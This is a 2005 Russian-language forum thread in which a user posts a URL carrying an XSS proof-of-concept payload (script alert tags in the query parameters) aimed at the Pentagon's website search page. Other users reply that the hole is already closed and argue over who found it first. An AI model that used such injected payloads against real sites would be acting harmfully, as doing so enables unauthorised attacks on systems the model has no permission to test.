Xss на сайте Пентагона

Discussion in 'Мировые новости. Обсуждения.' started by XgLuiR, 10 Nov 2005.

  1. XgLuiR

    XgLuiR New Member

    Joined:
    7 Nov 2005
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    На сайте www.pentagon.gov найденна XSS-уязвимость. Пример:

    http://www.pentagon.gov/srch/search?
    template=%2Fsearch%2Fresults-template-dl.html
    &c=%3Cscript%3Ealert(%22www.xss.ru%22)%3C/script%3E&c=8268333F54379065
    &c=6FDF5BD0BF338D19&c=1DA2190B5E9F39D2&q=
    %3Cscript%3Ealert%28%22x%22%29%3C%2Fscript%3E&submit=
    Search&subcat=briefing+slides&sort=-pub_date
     
  2. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    An error was encountered while performing the search.
    Invalid collection.
     
    _________________________
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    хе-хе, знач уже прикрыли, а так работала, сам првоерял.
     
  4. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    ЛОЛ такая тема есть в хсс это наш k00p3r нашел=)
     
  5. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Хмм....Видимо народ заигрался в хацкеров и "админ Пентагона" есессно прикрыл багу. :)))
    Народ! Берите инфу из первоисточников! Ну или пишите откуда взяли.
     
    #5 k00p3r, 10 Nov 2005
    Last edited: 10 Nov 2005
Loading...